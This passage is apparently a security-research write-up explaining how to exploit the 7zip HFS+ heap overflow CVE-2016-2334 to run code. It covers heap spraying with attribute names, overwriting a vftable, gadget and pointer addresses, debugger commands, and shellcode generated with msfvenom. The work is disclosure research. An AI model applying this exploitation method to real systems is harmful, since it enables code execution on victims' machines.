promising. We found a couple of objects with a vftable. We can potentially use them to manipulate the control flow of the code. By overwriting the vftables with our data, we can bypass the heap overflow mitigation techniques present in modern operating systems and take over control of the code execution. Let's do a test without changing the PoC by just overwriting the object inside the debugging session and continue with execution: ![](https://images.seebug.org/1512354738934) It appears that the overwritten object was called after the overflow and it happened quickly enough that no other memory operation (e.g. alloc/free) affected the corrupted heap prior to the call. Had this not been the case the application would have crashed. Now we need to confirm that the heap layout is the same with the standard version of 7zip. It is important to keep in mind that the debug version could have a significantly different heap layout. ### Finding the ExtractZLibFile Function To determine what the heap layout looks like in the standard build of 7zip, we need to find the ExtractZLibFile function where the ReadStream_FALSE function is called. To localize this function we can look for one of the constants used in its body and search for it in IDA. ``` 0x636D7066 ``` ![](https://images.seebug.org/1512354792170) ![](https://images.seebug.org/1512354804033) ``` *(Function was renamed in IDA before) ``` Jumping into the .text1001D9D9 location shows that we found what we were looking for. ![](https://images.seebug.org/1512354827176) We can then set a breakpoint on 0x1001D7AB which contains the call to ReadStream_FALSE in our debugger to analyze the heap layout around `buf`. ![](https://images.seebug.org/1512354881234) Hint: See that edx is pointing to the `buf` buffer address The heap layout should look like this: ![](https://images.seebug.org/1512354975875) Unfortunately, it appears that using the standard 7zip build results in a different heap layout. For instance, following our `buf` buffer [size 0x10010 ] there is no object containing a vftable. Note: WinDBG shows objects with a vftable via the !heap -p -h command even when no debugging symbols or RTTI are loaded. For example : ``` 013360b0 0009 0007 [00] 013360b8 0003a - (busy) 013360f8 0007 0009 [00] 01336100 00030 - (busy) ←-- object with vftable ? 7z!GetHashers+246f4 01336130 0002 0007 [00] 01336138 00008 - (free) 01336140 9c01 0002 [00] 01336148 4e000 - (busy) * 01384148 0100 9c01 [00] 01384150 007f8 - (busy) ``` Our goal is to write a real world exploit, so we need to find a way to manipulate the heap and reorder it in a better way to facilitate this. ### BUILDING OUR STRATEGY Our PoC.hfs file contents and its internal data structures have the biggest influence on the structure of the heap. If we want to change the current heap layout we need to create a reasonably reliable HFS+ image file generator, which will allow us to add HFS+ parts into the file image in a way that allows us to reorder heap allocations so that we can ensure that objects with a vtable appear after our `buf` buffer. There is no need to build a super advanced HFS+ image file generator implementing all possible structures, configurations and functionalities. It simply needs to support the elements that will enable us to reorder the heap and trigger the vulnerability. For details regarding the HFS+ file format, you can consult the documentation [here](http://dubeiko.com/development/FileSystems/HFSPLUS/tn1150.html). A decent understanding of the HFS+ file format will help during this debugging session. ### IDENTIFYING ELEMENTS THAT CHANGE THE HEAP LAYOUT First we need to identify places where the data from our file is written on the heap and its size is variable. We will begin our search in the part of the code that is responsible for parsing the HFS+ format. Note: Remember that 7zip might execute several instructions before it begins parsing a particular format. An example of this are actions that relate to "dynamic" format detection,etc. By debugging the code of our PoC.hfs example step by step, we can find all of the functions that are responsible for writing our data to the heap during the file parsing process. Mapping it to the source code, we start here: ![](https://images.seebug.org/1512355048978) To later dive into: ![](https://images.seebug.org/1512355063266) After some testing, we can identify a perfect candidate inside the following function: ![](https://images.seebug.org/1512355090220) LoadName function body: ![](https://images.seebug.org/1512355103721) Each attribute has a name which is a UTF-16 string with a variable size allocated on the heap. This looks like a perfect candidate. We can add as many attributes as we want using their name as a spray. The only constraint is that the `attr.ID` must be set to anything except the corresponding `file.ID` ### WRITING THE HFS+ GENERATOR The file which we want to generate is supposed to look like this: ![](https://images.seebug.org/1512355133144) The 7zip author did not directly follow the standard HFS+ documentation, when the HFS+ file system parser was implemented by him. This requires us to first analyse 7zip to determine how HFS+ parsing was specifically implemented in 7zip. We are releasing a file generation script to create the specially crafted file required to exploit this vulnerability. The script can be obtained [here](https://github.com/icewall/CVE-2016-2334/blob/master/hfsGenerator.py). ![](https://images.seebug.org/1512355180929) 010 Editor template used during the file format reversing process. ![](https://images.seebug.org/1512355193266) As mentioned above, our generator is limited to only generating the necessary structures in the file to trigger the specific vulnerability covered in this post. By setting the `OVERFLOW_VALUE` (the size of the buffer used to overflow the `buf` buffer) to 0x10040, we can generate a file that triggers the vulnerability and generates the following result in our debugging session: ![](https://images.seebug.org/1512355233177) Let's single step through the code execution and analyze where the overflow occurs: ![](https://images.seebug.org/1512355250279) We have confirmed that our HFS+ generator works. Let's increase the OVERFLOW_VALUE variable to 0x10300 which should be enough to overflow the following free chunk with the size of 0x310 bytes. In other words the chunk that contains an object with a vftable. Let's walk through this below. ![](https://images.seebug.org/1512355283565) What we find is that the free chunk following the `buf` buffer grew up, preventing us from successfully overflowing the next object with a vftable. It appears that there was a memory allocation somehow related to the content of our file. To search for the location where that instruction occurred we can set the following conditional breakpoint: ``` bp ntdll!RtlAllocateHeap "r $t0=esp+0xc;.if (poi(@$t0) > 0xffff) {.printf \"RtlAllocateHeap hHEAP 0x%x, \", poi(@esp+4);.printf \"Size: 0x%x, \", poi(@$t0);.echo}.else{g}" ``` To simplify this task we can use the 7zip version with debugging symbols which we built earlier. ![](https://images.seebug.org/1512355317730) The debugger hit the breakpoint where buffer with same size as our file size is allocated. After quick analysis it turned out that we have landed in the portion of the code that is responsible for the heuristic detection of the file format. 7zip allocates a buffer large enough to handle the size of the entire file contents then it attempts to determine the format of the file before finally freeing the previously allocated buffer. The freed buffer memory is later used during the allocation of the `buf` buffer. This is why we see a gap after its chunk which grows when we increase the payload size. Does that mean the exploitation won't be possible? No, did you notice the file extension we used to save the generated file? If we want to avoid the heuristic file detection functions in 7zip, we simply need to use proper file extension, .hfs in this case. If we use this extension, 7zip does not execute the heuristic functions and the heap looks like this: ![](https://images.seebug.org/1512355343819) ### BUILDING OUR STRATEGY Let's take a moment to summarize what we now know and try to figure out a strategy we can use to create a working exploit. * Our target buffer (`buf`) has a fixed size: 0x10010. * Due to this buffer size, it will always be allocated by heap-backend. Additional details regarding this can be found [here](http://illmatics.com/Understanding_the_LFH.pdf). * We can allocate any number of objects with any size before the overflow occurs. * We can't perform or trigger any free action on the heap. * We are unable to perform any alloc/free operation following the overflow. Given the situation described above, being limited to the aforementioned operations and considering all of the heap mitigations implemented in Windows 7, a sound approach is described below: * We should locate an object with vftable that is called as soon as possible following the overflow. This is important because if the call to vftable that is overflowed by us is far from memory location where overflow took place, the likelihood that the code will call an alloc/free operation increase, causing the program to crash. * Spray the heap with attributes (name) with the same size the interesting objects we identified. The assumption is that allocating objects with the same size as the target object with an amount greater than 0x10 and an object size of less than 0x4000 (the Low Fragmentation Heap maximum object size) we will activate LFH and allocate free chunks for objects with that size. This should result in free slots being allocated after the overflowed buffer and the objects will be stored within them. ### IDENTIFYING INTERESTING OBJECTS Now that we have defined our strategy, we need to locate a suitable object to overwrite. To find it, we can use a simple JS script for WinDBG that is responsible for printing an object with vftable as well as its stack trace. The script that performs these actions is located [here](https://github.com/icewall/CVE-2016-2334/blob/master/heap.js). ![](https://images.seebug.org/1512355428707) This should result in the following: ![](https://images.seebug.org/1512355444707) First we will try to look for objects allocated in the same function where overflow occurs, `ExtractZlibFile` because they will likely be used quickly following the overflow. We can identify two candidates based on the previous screenshot. The aforementioned objects are defined in the following locations: ``` Line 1504 CMyComPtr<ISequentialInStream> inStream; (...) Line 1560 CBufInStream *bufInStreamSpec = new CBufInStream; Line 1561 CMyComPtr<ISequentialInStream> bufInStream = bufInStreamSpec; ``` Their destructors (release virtual method) are called as soon as the function exits. The fastest way to trigger this is to set the first byte in our overflowed buffer to `0xF`. ![](https://images.seebug.org/1512355474718) ### MOVING THE OBJECTS Now that we have identified the object we would like to overflow, we need to spray the heap with attribute structures containing `name` strings with the same length as the objects, which are: ``` 0x20 and 0x30. ``` We can accomplish this using the following: ![](https://images.seebug.org/1512355515157) We can either write a script which will control WinDBG and increase the number of attribute structures until our target objects are allocated after overflowing the buffer or do it manually. We chose to take a manual approach, simply increasing the numbers by 10, 20, 30 and observing the heap. As the object locations began to reach the buf location, we simply switched to increasing it by one. A few attempts later we reached the value of 139: `139 * (0x20 + 0x30 + 2* 0x18)` At this point the heap layout looks as follows: ![](https://images.seebug.org/1512355546817) This heap structure looks promising. Subtracting the address of the `buf` buffer, which is 0x12df9c8 subtracted by 8 bytes due to the offset in the call instruction (0x12df9d0) from the address after the object located at 0x12efdf8 will help us determine how many bytes we need to overwrite the targeted object. In order to identify how much space is available for our payload, I maximized this size choosing nearly the last address available on the heap (not visible in the screenshot above). Using that information, we can update the OVERFLOW_VALUE variable with value 0x12618. Now we can regenerate our file again and execute the application to confirm that vftable is successfully overwritten: ![](https://images.seebug.org/1512355588409) Now that we have confirmed that, we can specifically focus on weaponizing our exploit. ### CHECKING AVAILABLE MITIGATIONS Further development of our exploit depends on mitigations implemented in the version of 7zip we are analyzing. Below we can see the mitigations implemented in version 10.05 of 7zip: ![](https://images.seebug.org/1512355616726) As identified in the screenshot below, 7zip does not support Address Space Layout Randomization (ASLR) or Data Execution Prevention (DEP). We had hoped that this would change following the publication of an advisory last year related to this vulnerability but this still appears to be the case. ![](https://images.seebug.org/1512355637521) If you are using the 64-bit version of 7zip, then DEP is forced by operating system. ### FINDING THE PAYLOAD Before we start looking for gadgets let's identify all registers and pointers on the stack pointing to our payload. ![](https://images.seebug.org/1512355669621) As you can see in the above screenshot, there are a few places pointing to different parts of our payload : * ESI * EDX * ESP * ESP-C * ESP+30 * EBP+40 * EBP-2C * EBP-68 We need to determine the exact offset from our buffer to the vftable object. Since ESI points to the vftable object and EDX points to our buffer, we can simply subtract EDX from ESI to obtain this offset. ``` 0:000> ?esi - edx Evaluate expression: 66608 = 00010430 ``` Putting the value that is stored at that offset into our payload results in the following: ![](https://images.seebug.org/1512355740064) The value has changed because `8` has been added. Now we can start identifying gadgets keeping in mind the aforementioned elements. ### POINTER ON POINTER Since we will be overwriting the pointer to the vftable we will need to identify both gadgets as well as pointers to this gadgets. To perform this task you can use the following tools: * RopGadgets * Mona Using multiple tools is a good way to maximize the number of interesting gadgets that are discovered during this type of analysis. First using RopGadgets let's generate the list of gadgets for 7z.exe and 7z.dll: ![](https://images.seebug.org/1512355770580) Now using these lists with Mona we can find pointers to these gadget addresses. ![](https://images.seebug.org/1512355796219) ### ABUSING LACK OF DEP Since DEP is not supported in this 7zip version, one of the easiest ways to exploit this vulnerability is to simply redirect code execution to our buffer located on the heap. Reviewing the list of pointers we previously enumerated among the others which will meet these requirements reveals the following candidates: ![](https://images.seebug.org/1512355834533) So there are multiple addresses which contain the same pointer value. They will be very useful because in our gadget we will redirect code execution to our buffer using the pointer stored in the address pointed to by the ESP register. It contains the same value pointed to by ESI which is where we will put the address of our pointer to our fake vftable. Keeping this in mind, we need to identify what instruction it will disassemble to. ![](https://images.seebug.org/1512355859860) As you can see the `POP ES` instruction causes an exception. Additionally, we do not have any influence on the value on the stack being "popped" to `ES`. Fortunately, one of the additional gadget addresses disassembles to a less problematic instruction: ``` 0x1007c748 - 8 = 0x1007c740 ``` ![](https://images.seebug.org/1512355894703) `EDI` points to a writable area of memory, so we should be able to execute these instructions. Also notice that the bytes we use to fill the buffer (`0xcc`) have been used in this instruction. With that in mind, we will omit 3 bytes when setting the offset for our shellcode in the buffer. ### ADDING SHELLCODE Now we are ready to add our shellcode which should be located at offset: ``` fake_vftable_ptr_offset = 0x00010430 + 3 ("0xCC") ``` ![](https://images.seebug.org/1512355966816) To generate the shellcode we can use [msfvenom](https://2.bp.blogspot.com/-0mDBa86O_Rc/WiAPWATunsI/AAAAAAAAAh0/-kAZyG4xuo0PjLZhypyg7Gj_XJRAdKAfgCLcBGAs/s1600/image17.png) which is included with Metasploit : ![](https://images.seebug.org/1512355990104) The updated script including our shellcode should look like this: ![](https://images.seebug.org/1512356012659) ### TESTING THE EXPLOIT Now that we have everything in place we can generate our HFS file and test our exploit: https://r2---sn-un57sn7s.googlevideo.com/videoplayback?id=8773c710d4d25850&itag=22&source=blogger&mm=31&mn=sn-un57sn7s&ms=au&mv=u&pl=20&ei=dKokWoSeAsWwiQPY5bOwAQ&mime=video/mp4&lmt=1512053049086840&mt=1512351947&ip=104.199.139.173&ipbits=0&expire=1512381172&sparams=ip,ipbits,expire,id,itag,source,mm,mn,ms,mv,pl,ei,mime,lmt&signature=1A63813574457E539203C6E02EF2C4B25C2EB53D.287AE5A90D8A57FB6ADBA7A01D857D6FC0ED2348&key=ck2&cpn=37bb5xoebMMpMoAM&c=WEB_EMBEDDED_PLAYER&cver=20171128 Now we have confirmed that our shellcode operates as intended. ### EXPLOIT STABILITY We have confirmed that our strategy of spraying the heap with objects with sizes of 0x20 and 0x30 is effective but what about stability? The same version of 7zip parsing exact same HFS file should contain same heap layout at certain points but we need to consider variable artifacts allocated on the heap like environment variables, command line argument strings, the path to the file containing our payload, etc. These elements could change the heap layout and differ across systems. Unfortunately those variable artifacts are allocated on the same heap as our overflowed buffer in this case, at least in the case of the command line version of 7zip which we created our exploit to target. Analyzing the heap memory used to allocate our target buffer we can see the following: ![](https://images.seebug.org/1512356084787) Inspecting the heap, we can see a string which is actually the path to the location of the HFS file to unpack. The variable length of this single string can significantly impact the amount of free/allocated space on the heap which can impact the heap spray object composition and result in failed exploitation. One way to account for the difference in free heap space is to create a large enough allocation to exhaust the potential free space on heap, taking into account system limitations with regards to file path and environment variable length, etc. That exercise as well as investigating how the heap layout in the 7zip GUI version is presented is left for interested readers. ### SUMMARY Heap based buffer overflow vulnerabilities in applications like archive utilities or general file parsers are still exploitable on modern systems, even if we do not have such flexible influence on the heap like during web browser exploitation. Lacking the option to use corruption of heap metadata to successful exploit the vulnerability forces us to overwrite application data and leverage that to take control of code execution flow. Still lack of current standard mitigations in some products makes exploitation significantly easier.
    idSSV:96914
    last seen2017-12-25
    modified2017-12-04
    published2017-12-04
    reporterRoot
    title7zip CVE-2016-2334 HFS+ Code Execution Vulnerability

Talos

idTALOS-2016-0093
last seen2019-05-29
published2016-05-10
reporterTalos Intelligence
sourcehttp://www.talosintelligence.com/vulnerability_reports/TALOS-2016-0093
title7zip HFS+ NArchive::NHfs::CHandler::ExtractZlibFile Code Execution Vulnerability